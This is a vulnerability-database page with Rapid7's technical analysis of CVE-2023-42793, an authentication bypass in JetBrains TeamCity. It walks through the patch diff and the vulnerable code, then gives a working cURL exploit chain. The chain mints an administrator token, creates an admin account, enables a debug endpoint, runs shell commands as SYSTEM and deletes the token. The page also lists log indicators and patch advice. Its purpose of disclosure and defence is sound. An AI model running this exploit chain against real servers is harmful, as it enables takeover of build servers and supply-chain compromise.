Very High
CVE-2023-42793
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
Very High
(2 users assessed)Very High
(2 users assessed)Unknown
Unknown
Unknown
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
In JetBrains TeamCity before 2023.05.4 authentication bypass leading to RCE on TeamCity Server was possible
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
Based on the accompanying Rapid7 Analysis, the attacker value for CVE-2023-42793 is very high given the target product is a CI/CD server, and as such may contain sanative information such as source code or signing keys, in addition to being a vector for conducting a supply chain attack. The exploitability for this vulnerability is also very high, as the product is vulnerable in a default configuration and an attacker can trivially exploit it with a sequence of cURL commands.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
Microsoft released a blog where they mentioned the abuse of this vulnerability by nation-state sponsored actors.
Update 07/26/2024: CISA released a bulletin on Andariel’s activity also mentioning the abuse of this CVE, link: https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportGeneral Information
Vendors
- JetBrains
Products
- TeamCity
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this report- Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Other: CISA Gov Alert (https://www.cisa.gov/news-events/alerts/2023/10/04/cisa-adds-two-known-exploited-vulnerabilities-catalog-removes-five-kevs)
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Miscellaneous
Additional Info
Technical Analysis
Overview
CVE-2023-42793 is a critical authentication bypass published on September 19, 2023 that affects on-premises instances of JetBrains TeamCity, a CI/CD server. The vulnerability, originally discovered by Sonar, allows an unauthenticated attacker to achieve remote code execution (RCE) on the server. By compromising a CD/CD server the attacker will have access to private data such as source code, access keys, code signing certificates and other build components commonly accessible by a CI/CD server. This places the attacker in a strong position to achieve a supply chain attack by compromising the integrity of the server’s build process and the resulting build artifacts, such as compiled binaries.
The vulnerability has a CVSS base score of 9.8. All versions of JetBrains TeamCity prior to the patched version 2023.05.4 are vulnerable to this issue. There is no known exploitation in the wild as of September 27, 2023.
Technical Analysis
In this technical analysis we will analyze the vulnerability as it affects JetBrains TeamCity 2023.05.3 running on Windows Server 2022. By default, the vulnerable web interface listens for HTTP connections on TCP port 8111.
Patch Diffing
To diff out the bug we downloaded a vulnerable version 2023.05.3 and patched version 2023.05.4. Extracting these two installers via 7zip
we generate two folders, .\2023.05.3\
and .\2023.05.4\
, containing the entire contents of the install for each version.
Inspecting the contents of the two folders using a diffing tool like BeyondCompare
, we can identify the Java library web.jar
as being of interest. Using the cfr
decompiler we can decompile the web.jar
library from each version into two separate folders as follows:
java -Xmx1g -jar cfr-0.152.jar --outputdir .\2023.05.3\web.jar\ .\2023.05.3\webapps\ROOT\WEB-INF\lib\web.jar java -Xmx1g -jar cfr-0.152.jar --outputdir .\2023.05.4\web.jar\ .\2023.05.4\webapps\ROOT\WEB-INF\lib\web.jar
We can now diff the Java source. The file RequestInterceptiors.java
stands out as a suspicious wildcard path has been removed. Examining the XmlRpcController.getPathSuffix
method shows the wildcard path that is added to the myPreHandlingDisabled
PathSet is /**/RPC2
. Investigating this further reveals this path is the root cause of the authentication bypass vulnerability.
Authentication Bypass
To learn why the wildcard path /**/RPC2
leads to an authentication bypass vulnerability. We must understand what this path does. The TeamCity server is a large Java Spring application; the configuration file C:\TeamCity\webapps\ROOT\WEB-INF\buildServerSpringWeb.xml
creates several interceptors, which intercept and potentially modify incoming HTTP requests to the server. Of interest to us is the calledOnceInterceptors
Java bean.
<mvc:interceptors> <ref bean="externalLoadBalancerInterceptor"/> <ref bean="agentsLoadBalancer"/> <ref bean="calledOnceInterceptors"/> <ref bean="pageExtensionInterceptor"/> </mvc:interceptors> <bean id="calledOnceInterceptors" class="jetbrains.buildServer.controllers.interceptors.RequestInterceptors"> <constructor-arg index="0"> <list> <ref bean="mainServerInterceptor"/> <ref bean="registrationInvitations"/> <ref bean="projectIdConverterInterceptor"/> <ref bean="authorizedUserInterceptor"/> <ref bean="twoFactorAuthenticationInterceptor"/> <ref bean="firstLoginInterceptor"/> <ref bean="pluginUIContextProvider"/> <ref bean="callableInterceptorRegistrar"/> </list> </constructor-arg> </bean>
We can see the calledOnceInterceptors
bean will be an instance of the jetbrains.buildServer.controllers.interceptors.RequestInterceptors
class which contains the wildcard path we are interested in. We can also see that when constructing the RequestInterceptors
instance, several Java beans are passed as a list, including authorizedUserInterceptor
. These beans will be added to the myInterceptors
list during instantiation.
public RequestInterceptors(@NotNull List<HandlerInterceptor> paramList) { this.myInterceptors.addAll(paramList); this.myPreHandlingDisabled.addPath("/**" + XmlRpcController.getPathSuffix()); this.myPreHandlingDisabled.addPath("/app/agents/**"); }
The RequestInterceptors
instance will then intercept HTTP requests via its preHandle
method, as shown below.
public final boolean preHandle(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse, Object paramObject) throws Exception { try { if (!requestPreHandlingAllowed(paramHttpServletRequest)) // <--- return true; // <--- return early, no authentication checks! } catch (Exception exception) { throw null; } Stack stack = requestIn(paramHttpServletRequest); try { if (stack.size() >= 70 && paramHttpServletRequest.getAttribute("__tc_requestStack_overflow") == null) { LOG.warn("Possible infinite recursion of page includes. Request: " + WebUtil.getRequestDump(paramHttpServletRequest)); paramHttpServletRequest.setAttribute("__tc_requestStack_overflow", this); Throwable throwable = (new ServletException("Too much recurrent forward or include operations")).fillInStackTrace(); paramHttpServletRequest.setAttribute("javax.servlet.jsp.jspException", throwable); } } catch (Exception exception) { throw null; } if (stack.size() == 1) for (HandlerInterceptor handlerInterceptor : this.myInterceptors) { try { if (!handlerInterceptor.preHandle(paramHttpServletRequest, paramHttpServletResponse, paramObject)) // <--- enforce authentication checks :( return false; } catch (Exception exception) { throw null; } } return true; }
Of note is that if requestPreHandlingAllowed
returns false (note the negation in the if statements condition), the preHandle
method will return early. However, if requestPreHandlingAllowed
returns true, the myInterceptors
list will be iterated and each interceptor on the list will be run against the request. This includes the authorizedUserInterceptor
bean (an instance of jetbrains.buildServer.controllers.interceptors.AuthorizationInterceptorImpl
) which will enforce authentication on the request if needed.
Therefore, if we can send a request to a URL that causes requestPreHandlingAllowed
to return false, we can skip the authentication checks. Examining requestPreHandlingAllowed
, we see the PathSet myPreHandlingDisabled
, which we know to contain the wildcard path /**/RPC2
, is used to test the incoming HTTP request’s path.
private boolean requestPreHandlingAllowed(@NotNull HttpServletRequest paramHttpServletRequest) { try { if (paramHttpServletRequest == null) $$$reportNull$$$0(5); } catch (IllegalArgumentException illegalArgumentException) { throw null; } try { if (WebUtil.isJspPrecompilationRequest(paramHttpServletRequest)) return false; } catch (IllegalArgumentException illegalArgumentException) { throw null; } try { } catch (IllegalArgumentException illegalArgumentException) { throw null; } return !this.myPreHandlingDisabled.matches(WebUtil.getPathWithoutContext(paramHttpServletRequest)); }
Therefore, any incoming HTTP request that matches the wildcard path /**/RPC2
will not be subject to the authentication checks performed by the beans in the myInterceptors
list during RequestInterceptors.preHandle
. However, even though we can construct a path that avoids authentication checks, we still need to locate a target endpoint the attacker can leverage which also conforms to the wildcard path — specifically, the target endpoint must end with the string /RPC2
.
Exploitation
To leverage the authentication bypass vulnerability, we will target TeamCity’s REST API, as implemented in the library C:\TeamCity\webapps\ROOT\WEB-INF\plugins\.unpacked\rest-api\server\rest-api.jar
. Decompiling this library with cfr
we can begin to explore the code. The REST API will use Java’s Web Services @Path
annotation to connect methods with URI endpoints whilst also defining variable names as templates within the path. For example @Path(value="/{foo}/properties")
will match a URI that ends with a path segment /properties
, and the preceding path segment’s value will be available to the method being annotated (via an additional @PathParam(value=’foo’)
annotation). Since this technique of constructing URI endpoints allows for endpoints with arbitrary values in the path, we want to locate the endpoints that end in a templated variable, as this will allow us to supply the /RPC2
portion of the URI that is required by the vulnerability. Searching the decompiled code for the regular expression /@Path\(value=\"\S+}\"\)/
will find all instances that meet this requirement. After some investigation we identify the jetbrains.buildServer.server.rest.request.UserRequest
class as being of interest, as shown below.
.\2023.05.3\rest-api\jetbrains\buildServer\server\rest\request\UserRequest.java (17 hits) Line 169: @Path(value="/{userLocator}") Line 177: @Path(value="/{userLocator}") Line 189: @Path(value="/{userLocator}") Line 200: @Path(value="/{userLocator}/{field}") Line 208: @Path(value="/{userLocator}/{field}") Line 218: @Path(value="/{userLocator}/{field}") Line 235: @Path(value="/{userLocator}/properties/{name}") Line 243: @Path(value="/{userLocator}/properties/{name}") Line 257: @Path(value="/{userLocator}/properties/{name}") Line 304: @Path(value="/{userLocator}/roles/{roleId}/{scope}") Line 313: @Path(value="/{userLocator}/roles/{roleId}/{scope}") Line 323: @Path(value="/{userLocator}/roles/{roleId}/{scope}") Line 329: @Path(value="/{userLocator}/roles/{roleId}/{scope}") Line 371: @Path(value="/{userLocator}/groups/{groupLocator}") Line 387: @Path(value="/{userLocator}/groups/{groupLocator}") Line 465: @Path(value="/{userLocator}/tokens/{name}") Line 494: @Path(value="/{userLocator}/tokens/{name}")
The method createToken
appears to allow the caller to create an access token for a specified user by sending a HTTP POST request to the endpoint /app/rest/users/{userLocator}/tokens/{name}
. As this endpoint ends in a templated variable, we know we can supply the required /RPC2
value for the authentication bypass. This will provide a token name of RPC2
during the call to createToken
. To specify a suitable userLocator
, we want to provide the name of an administrator user on the system. TeamCity lets you choose an arbitrary username during installation, so we don’t necessarily know the actual username of an administrator account. Handily, however, the first user (with an ID of 1) will always be the Administrator created during system install. As a result, we can rely on the ability to specify a user via an ID value using the string id:1
.
@Path("/app/rest/users") @Api("User") public class UserRequest { @POST @Path("/{userLocator}/tokens/{name}") @Produces({"application/xml", "application/json"}) @ApiOperation(value = "Create a new authentication token for the matching user.", nickname = "addUserToken", hidden = true) public Token createToken(@ApiParam(format = "UserLocator") @PathParam("userLocator") String userLocator, @PathParam("name") @NotNull String name, @QueryParam("fields") String fields) { if (name == null) $$$reportNull$$$0(1); TokenAuthenticationModel tokenAuthenticationModel = (TokenAuthenticationModel)this.myBeanContext.getSingletonService(TokenAuthenticationModel.class); SUser user = this.myUserFinder.getItem(userLocator, true); try { AuthenticationToken token = tokenAuthenticationModel.createToken(user.getId(), name, new Date(PermanentTokenConstants.NO_EXPIRE.getTime())); return new Token(token, token.getValue(), new Fields(fields), this.myBeanContext); } catch (jetbrains.buildServer.serverSide.auth.AuthenticationTokenStorage.CreationException e) { throw new BadRequestException(e.getMessage()); } } }
We can now create an authentication token for an Administrator user, via the following cURL request, which leverages the RPC2 authentication bypass vulnerability to successfully reach the target endpoint.
curl -X POST http://192.168.86.50:8111/app/rest/users/id:1/tokens/RPC2
The following is returned to the attacker, containing a newly minted authentication token with Administrator privileges.
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><token name="RPC2" creationTime="2023-09-27T02:15:35.609-07:00" value="eyJ0eXAiOiAiVENWMiJ9.UmFYd29SRVlLUzd3RUNIa1Jpem81MkNfZjlN.ZjhjZDljNzktNDFiMS00OGE2LWE2ZDQtNzcwOGQ1ZjRhNWU2"/>
Now we have an Administrator authentication token, we can take over the server. We have full access to the TeamCity REST API and can perform a multitude of operations, such as creating a new Administrator account with a known password. This allows us to log into the web interface if needed.
curl --path-as-is -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.UmFYd29SRVlLUzd3RUNIa1Jpem81MkNfZjlN.ZjhjZDljNzktNDFiMS00OGE2LWE2ZDQtNzcwOGQ1ZjRhNWU2" -X POST http://192.168.86.50:8111/app/rest/users -H "Content-Type: application/json" --data "{\"username\": \"haxor\", \"password\": \"haxor\", \"email\": \"haxor\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}"
As we can see below, we have created a new Admin user account with a password we know.
Alternatively, to execute arbitrary shell commands on the target server we can further leverage the API, specifically an undocumented debug API endpoint /app/rest/debug/processes
, as shown below.
@Path(value="/app/rest/debug") @Api(value="Debug", hidden=true) public class DebugRequest { @POST @Path(value="/processes") @Consumes(value={"text/plain"}) @Produces(value={"text/plain"}) public String runProcess(@QueryParam(value="exePath") String exePath, @QueryParam(value="params") List<String> params, final @QueryParam(value="idleTimeSeconds") Integer idleTimeSeconds, final @QueryParam(value="maxOutputBytes") Integer maxOutputBytes, @QueryParam(value="charset") String charset, String input) { if (!TeamCityProperties.getBoolean((String)"rest.debug.processes.enable")) { // <--- throw new BadRequestException("This server is not configured to allow process debug launch via " + LogUtil.quote((String)"rest.debug.processes.enable") + " internal property"); } this.myDataProvider.checkGlobalPermission(Permission.MANAGE_SERVER_INSTALLATION); GeneralCommandLine cmd = new GeneralCommandLine(); cmd.setExePath(exePath); cmd.addParameters(params); Loggers.ACTIVITIES.info("External process is launched by user " + this.myPermissionChecker.getCurrentUserDescription() + ". Command line: " + cmd.getCommandLineString()); Stopwatch action = Stopwatch.createStarted(); ExecResult execResult = SimpleCommandLineProcessRunner.runCommand((GeneralCommandLine)cmd, (byte[])input.getBytes(Charset.forName(charset != null ? charset : "UTF-8")), (SimpleCommandLineProcessRunner.RunCommandEvents)new SimpleCommandLineProcessRunner.RunCommandEventsAdapter(){ public Integer getOutputIdleSecondsTimeout() { return idleTimeSeconds; } public Integer getMaxAcceptedOutputSize() { return maxOutputBytes != null && maxOutputBytes > 0 ? maxOutputBytes : 0x100000; } }); action.stop(); StringBuffer result = new StringBuffer(); result.append("StdOut:").append(execResult.getStdout()).append("\n"); result.append("StdErr: ").append(execResult.getStderr()).append("\n"); result.append("Exit code: ").append(execResult.getExitCode()).append("\n"); result.append("Time: ").append(TimePrinter.createMillisecondsFormatter().formatTime(action.elapsed(TimeUnit.MILLISECONDS))); return result.toString(); } }
The ability to call this endpoint is gated by the configuration option rest.debug.processes.enable
, which is disabled by default. Therefore, we must first enable this option via the following request.
curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.UmFYd29SRVlLUzd3RUNIa1Jpem81MkNfZjlN.ZjhjZDljNzktNDFiMS00OGE2LWE2ZDQtNzcwOGQ1ZjRhNWU2" -X POST http://192.168.86.50:8111/admin/dataDir.html?action=edit^&fileName=config%2Finternal.properties^&content=rest.debug.processes.enable=true
Finally, for this option to be used by the system we must refresh the server via the following request.
curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.UmFYd29SRVlLUzd3RUNIa1Jpem81MkNfZjlN.ZjhjZDljNzktNDFiMS00OGE2LWE2ZDQtNzcwOGQ1ZjRhNWU2" http://192.168.86.50:8111/admin/admin.html?item=diagnostics^&tab=dataDir^&file=config/internal.properties
We can now run an arbitrary shell command on the server with the following request to the /app/rest/debug/processes
endpoint. For example:
curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.UmFYd29SRVlLUzd3RUNIa1Jpem81MkNfZjlN.ZjhjZDljNzktNDFiMS00OGE2LWE2ZDQtNzcwOGQ1ZjRhNWU2" -X POST http://192.168.86.50:8111/app/rest/debug/processes?exePath=cmd.exe^¶ms=/c%20whoami
The server’s response for the above request shows the standard output of the process we created.
StdOut:nt authority\system StdErr: Exit code: 0 Time: 59ms
From the output above, we can see we created the process cmd.exe "/c whoami"
and the result that was printed to stdout was nt authority\system
. It is worth noting that when installing TeamCity, you can select to run the server as either the local system user, or a user account of your choosing that you must create. During testing we ran the TeamCity server as the local system user.
Finally, an attacker can delete the authentication token they created via the following request.
curl -X DELETE http://192.168.86.50:8111/app/rest/users/id:1/tokens/RPC2
Indicators of Compromise
On a Windows system, the log file C:\TeamCity\logs\teamcity-server.log
will contain a log message when an attacker modified the internal.properties
file. There will also be a log message for every process created via the /app/rest/debug/processes
endpoint. In addition to showing the command line used, the user ID of the user account whose authentication token was used during the attack is also shown. For example:
[2023-09-26 11:53:46,970] INFO - ntrollers.FileBrowseController - File edited: C:\ProgramData\JetBrains\TeamCity\config\internal.properties by user with id=1 [2023-09-26 11:53:46,970] INFO - s.buildServer.ACTIVITIES.AUDIT - server_file_change: File C:\ProgramData\JetBrains\TeamCity\config\internal.properties was modified by "user with id=1" [2023-09-26 11:53:58,227] INFO - tbrains.buildServer.ACTIVITIES - External process is launched by user user with id=1. Command line: cmd.exe "/c whoami"
An attacker may attempt to cover their tracks by wiping this log file. It does not appear that TeamCity logs individual HTTP requests, but if TeamCity is configured to sit behind a HTTP proxy, the HTTP proxy may have suitable logs showing the following target endpoints being accessed:
/app/rest/users/id:1/tokens/RPC2
– This endpoint is required to exploit the vulnerability.
/app/rest/users
– This endpoint is only required if the attacker wishes to create an arbitrary user.
/app/rest/debug/processes
– This endpoint is only required if the attacker wishes to create an arbitrary process.
Guidance
The vulnerability has been resolved in version 2023.05.4 of JetBrains TeamCity. It is strongly recommended that all users update to the latest version of the software immediately. If you cannot upgrade to the fixed version or implement a targeted mitigation as specified in the JetBrains advisory, you should consider taking the server offline until the vulnerability can be mitigated.
References
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: